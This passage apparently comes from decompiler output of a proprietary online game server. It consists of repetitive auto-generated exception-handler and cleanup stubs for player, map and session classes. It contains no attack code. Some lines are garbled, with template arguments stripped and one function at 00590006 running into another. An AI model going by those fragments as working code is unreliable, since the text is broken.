CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1436484)); } //----- (0058FB2E) -------------------------------------------------------- void __usercall _L161474(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1504888)); } //----- (0058FB3C) -------------------------------------------------------- void __usercall _L161475(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1573292)); } //----- (0058FB4A) -------------------------------------------------------- void __usercall _L161476(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1641696)); } //----- (0058FB58) -------------------------------------------------------- void __usercall _L161477(int a1) { CharClassWizMage::_CharClassWizMage((CharClassAssassin *)(*(_DWORD *)(a1 - 16) + 1710100)); } //----- (0058FB66) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1CharClassManager__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FB70) -------------------------------------------------------- void __usercall _L162514(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 180)); } //----- (0058FB7B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__cc_Load_CharClass__QAEXPBTName4__PAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FB90) -------------------------------------------------------- void __usercall _L162570(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058FB98) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ccm_Load_CharClassManager__QAEXPBTName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FBB0) -------------------------------------------------------- void __usercall _L164060(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058FBB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_SetRegistNumber_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_CHAR_REGISTNUMBER_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FBD0) -------------------------------------------------------- void __usercall _L160559(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16028)); } //----- (0058FBDB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_charskilldata_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_CHAR_SKILL_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FBF0) -------------------------------------------------------- void __usercall _L161006(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0058FBF8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_Getchestinform_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_CHAR_CHESTINFO_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FC10) -------------------------------------------------------- void __usercall _L161260(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0058FC1B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__isb_FullBufferItem2Client___ItemSmallBag_UItemInform_ActionItem____QAEHPAEPAUPROTO_ITEMPACKET_INFORM__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FC30) -------------------------------------------------------- void __usercall _L161452_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 316)); } //----- (0058FC3B) -------------------------------------------------------- unsigned int __cdecl _L161453_0() { unsigned int result; // eax@1 result = _S4_1 & 0xFFFFFFFE; _S4_1 &= 0xFFFFFFFEu; return result; } //----- (0058FC49) -------------------------------------------------------- void __usercall _L161454_0(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (0058FC54) -------------------------------------------------------- void __usercall _L161455_0(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 340)); } //----- (0058FC5F) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_charbasedata_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_CHAR_BASE_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FC70) -------------------------------------------------------- void __usercall _L161647(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0058FC78) -------------------------------------------------------- void __usercall _L161648(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 36)); } //----- (0058FC80) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_StoreInventoryFromServer_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_CHAR_ITEM_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FC90) -------------------------------------------------------- void __usercall _L162092(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058FC98) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VChargedItemEffectElement_ChargedItemEffectList____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FCB0) -------------------------------------------------------- void __usercall _L162164(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058FCB8) -------------------------------------------------------- void __usercall _L162191(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058FCC0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_CharAbstateData_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_CHAR_ABSTATE_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FCD0) -------------------------------------------------------- void __usercall _L162238(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058FCD8) -------------------------------------------------------- void __usercall _L162251(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058FCE0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_CharChargedBuffData_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_CHAR_CHARGEDBUFF_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FCF0) -------------------------------------------------------- void __usercall _L159298(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058FCF8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_SKILL_EMPOWALLOC_DB_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FD10) -------------------------------------------------------- void __usercall _L159062(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 208)); } //----- (0058FD1B) -------------------------------------------------------- void __usercall _L159064(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 176)); } //----- (0058FD26) -------------------------------------------------------- void __usercall _L159065(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 156)); } //----- (0058FD31) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_SKILL_EMPOWALLOC_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FD40) -------------------------------------------------------- void __usercall _L161506(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058FD48) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_ChargedItemTest_ShinePlayer_ShineObjectClass__QAEXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FD60) -------------------------------------------------------- void __usercall _L161685(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0058FD68) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ChargedEffectList_ChargedItemEffectList__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FD80) -------------------------------------------------------- void __usercall _L161194(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 16)); } //----- (0058FD88) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ChargedEffectListRouter_ChargedItemEffectList__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FDA0) -------------------------------------------------------- void __usercall _L161442(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0058FDA8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_MISC_TIMEFROMWORLD_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FDC0) -------------------------------------------------------- void __usercall _L161552(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (0058FDC8) -------------------------------------------------------- void __usercall _L161553(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (0058FDE0) -------------------------------------------------------- void __usercall _L164059(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058FDE8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_CHAR_REVIVE_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FE00) -------------------------------------------------------- void __usercall _L163623(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058FE08) -------------------------------------------------------- void __usercall _L163624(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058FE10) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_ClassChange_ShinePlayer_ShineObjectClass__UAEXE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FE20) -------------------------------------------------------- void __usercall _L163733(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (0058FE40) -------------------------------------------------------- void __usercall _L158466(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058FE48) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_collesioncheck_ShineObject_ShineObjectClass__QAEEPAV12_K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FE60) -------------------------------------------------------- void __usercall _L158565(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (0058FE68) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_BriefLink_ShinePlayer_ShineObjectClass__UAEXPBTName3__PBUSHINE_XY_TYPE___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FE80) -------------------------------------------------------- void __usercall _L158765(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (0058FE8B) -------------------------------------------------------- void __usercall _L158766(int a1) { AxialListMobFind::_AxialListMobFind((AxialListMobFind *)(a1 - 168)); } //----- (0058FE96) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_Admin_FindMob_ShinePlayer_ShineObjectClass__QAEXPAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FEA0) -------------------------------------------------------- void __usercall _L158871(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0058FEA8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_Marking_FieldMap__QAE_AW4FM_MarkingError_1_PAVShineObject_ShineObjectClass__HHE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FEC0) -------------------------------------------------------- void __usercall _L164287(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058FEC8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ws_save2DB_WholeSaver__QAEXPAVShineObject_ShineObjectClass__EH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FEE0) -------------------------------------------------------- void __usercall _L165466(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058FEE8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_SaveSkill_ShinePlayer_ShineObjectClass__UAEHPAUPROTO_NC_CHARSAVE_SKILL_REQ__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FF00) -------------------------------------------------------- void __usercall _L163383(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (0058FF08) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_SaveLocation_ShinePlayer_ShineObjectClass__UAEHPAUPROTO_NC_CHARSAVE_LOCATION_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FF20) -------------------------------------------------------- void __usercall _L163822(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058FF28) -------------------------------------------------------- void __usercall _L163823(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (0058FF30) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_SaveAbstate_ShinePlayer_ShineObjectClass__UAEHPAUPROTO_NC_CHARSAVE_ABSTATE_REQ__PBTName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FF40) -------------------------------------------------------- void __usercall _L161492(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058FF48) -------------------------------------------------------- void __usercall _L161493(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058FF50) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ReinforceMove_ShineMobileObject_ShineObjectClass__UAEXPAUSHINE_XY_TYPE__HW4MoveDirect__PAUPROTO_NC_ACT_SOMEONEMOVEWALK_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FF60) -------------------------------------------------------- void __usercall _L161625(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058FF68) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_ShootMeTo_ShineMobileObject_ShineObjectClass__QAEXPAUSHINE_XY_TYPE___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FF80) -------------------------------------------------------- void __usercall _L161458_0(int a1) { AxialListMobDistribute::_AxialListMobDistribute((AxialListMobDistribute *)(a1 - 20)); } //----- (0058FF88) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_MobDistribute_ShinePlayer_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FFA0) -------------------------------------------------------- void __usercall _L161579(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0058FFA8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ReinforceMove_ShinePlayer_ShineObjectClass__UAEXPAUSHINE_XY_TYPE__HW4MoveDirect__PAUPROTO_NC_ACT_SOMEONEMOVEWALK_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FFC0) -------------------------------------------------------- void __usercall _L163382(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0058FFC8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_USHINE_XY_TYPE__V__allocator_USHINE_XY_TYPE___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FFE0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_USHINE_XY_TYPE__V__allocator_USHINE_XY_TYPE___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (0058FFF0) -------------------------------------------------------- void __usercall _L163916(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (0058FFF8) -------------------------------------------------------- unsigned int __cdecl _L163917() { unsigned int result; // eax@1 result = _S32_2 & 0xFFFFFFFE; _S32_2 &= 0xFFFFFFFEu; return result; } //----- (00590006) -------------------------------------------------------- void __cdecl _L163928() { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 48)); } //----- (00590018) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_ShadowStep_ShineMobileObject_ShineObjectClass__QAEXPAVShineObject_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590030) -------------------------------------------------------- void __usercall _L159269(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00590038) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__zls_NC_CHAR_PLAYERFOUND_BY_NORMAL_USER_RNG_ZoneListenSession__QAEXPATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590050) -------------------------------------------------------- void __usercall _L158383(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (00590058) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__zls_NC_MISC_ZONERINGLINKTEST_RNG_ZoneListenSession__QAEXPATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590070) -------------------------------------------------------- void __usercall _L159397(int a1) { operator delete__(*(void **)(a1 + 4)); } //----- (0059007B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__InitSessions_ClientSessionManager__QAEHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590090) -------------------------------------------------------- void __usercall _L14950(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (0059009B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__dt_Load_DamageTable_DamageByAngle__QAEXPBTName4__PAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005900B0) -------------------------------------------------------- void __usercall _L18647(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (005900B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_USoulDamateElement_DamageBySoul__V__allocator_USoulDamateElement_DamageBySoul___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005900D0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_USoulDamateElement_DamageBySoul__V__allocator_USoulDamateElement_DamageBySoul___std___std__IAEXViterator_12_IABUSoulDamateElement_DamageBySoul___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005900E0) -------------------------------------------------------- void __usercall _L19470(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (005900EB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sdc_Load_SoulDamageContainer_DamageBySoul__QAEXPATName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590100) -------------------------------------------------------- void __usercall _L159876(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00590108) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ACT_RIDE_FEEDING_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590120) -------------------------------------------------------- void __usercall _L159238(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00590128) -------------------------------------------------------- void __usercall _L159239(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 20)); } //----- (00590130) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_HorseCast_ShinePlayer_ShineObjectClass__QAEXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590140) -------------------------------------------------------- void __usercall _L159628(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00590148) -------------------------------------------------------- void __usercall _L159629(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00590150) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_HorseOn_ShinePlayer_ShineObjectClass__QAEXE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590160) -------------------------------------------------------- void __usercall _L159784(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00590168) -------------------------------------------------------- void __usercall _L159785(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00590170) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_HorseOff_ShinePlayer_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590180) -------------------------------------------------------- void __usercall _L159049(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00590188) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_IsStreight_FieldMap__QAEEHHHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005901A0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_USHINE_XY_TYPE__V__allocator_USHINE_XY_TYPE___std___std__IAEXViterator_12_IABUSHINE_XY_TYPE___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005901B0) -------------------------------------------------------- void __usercall _L161542(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (005901B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__rmt_MakePath_RadianMoveTrack__AAEEAAV__vector_USHINE_XY_TYPE__V__allocator_USHINE_XY_TYPE___std___std__PBVVector_VectorClass__HHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005901D0) -------------------------------------------------------- void __usercall _L161638(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005901D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__rmt_Calculate_RadianMoveTrack__QAEEAAV__StaticVector_USHINE_XY_TYPE_____Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005901F0) -------------------------------------------------------- void __usercall _L157677(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005901F8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__dia_Set_DropItemAnalyzer__QAEXGG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590210) -------------------------------------------------------- void __usercall _L73909(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00590218) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__dlm_next_DropLocationManager__QAEEXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590230) -------------------------------------------------------- void __usercall _L72685(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00590238) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__dmc_CanMenuOpen_DuplicatedMenuControl__QAEEG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00590250) -------------------------------------------------------- void __usercall _L173733(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance 